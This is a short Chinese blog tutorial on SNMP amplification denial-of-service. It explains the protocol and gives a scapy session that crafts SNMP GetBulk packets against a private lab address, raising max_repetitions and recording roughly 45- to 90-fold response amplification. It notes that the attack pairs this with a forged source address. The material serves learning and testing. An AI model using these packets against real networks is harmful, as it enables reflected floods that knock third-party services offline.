(六)拒绝服务–SNMP 放大攻击

1. 简介
简单网络管理协议
Simmple Network Management Protocol
一般用来监控和管理网络设备
服务端口UDP 161/162
管理站(manager/客户端)、被管理设备(agent/服务端)
管理信息数据库(MIB) 是一个信息存储库,包含管理代理中的有关配置和性能的数据,按照不同分类,包含分属不同组的多个数据对象
每一个节点都有一个对象标识符(OID) 来唯一的标识一IETF定义便准的MIB库厂家自定义MIB库
攻击原理
请求流量小,查询结果返回流量大
结合伪造源地址实现攻击
2. 安装 SNMP
安装 SNMP,定义 community
3. scapy 构造数据包
步骤
构造 IP 数据包
>>> i=IP()
>>> i.dst=”192.168.199.237″
>>> i.display()
构造 UDP 数据包
>>> u=UDP()
>>> u.dport=161
>>> u.sport=161
构造 SNMP 数据包
>>> s=SNMP()
设置放大倍数
>>> b=SNMPbulk() # SNMP bulk查询指令,bulk 块、堆
>>> b.max_repetitions=100
>>> b.varbindlist=[SNMPvarbind(oid=ASN1_OID(‘1.3.6.1.2.1.1’)),SNMPvarbind(oid=ASN1_OID(‘1.3.6.1.2.1.19.1.3’))]
>>> b.display()
>>> s.display()
设置 SNMP 数据包
>>> s.PDU=b
>>> s.display()
合成完整数据包
>>> r=(i/u/s)
>>> r.display()
发送数据包
>>> sr1(r)
发送 98 字节,返回 4534 字节的数据包
测试放大200倍效果
>>> b.max_repetitions=200
>>> s.PDU=b
>>> s.display()
>>> r=(i/u/s)
>>> r.display()
>>> sr1(r)
发送 99 字节,返回 8894 字节
posted @ 2019-03-14 07:18  micr067  阅读(493)  评论(0编辑  收藏  举报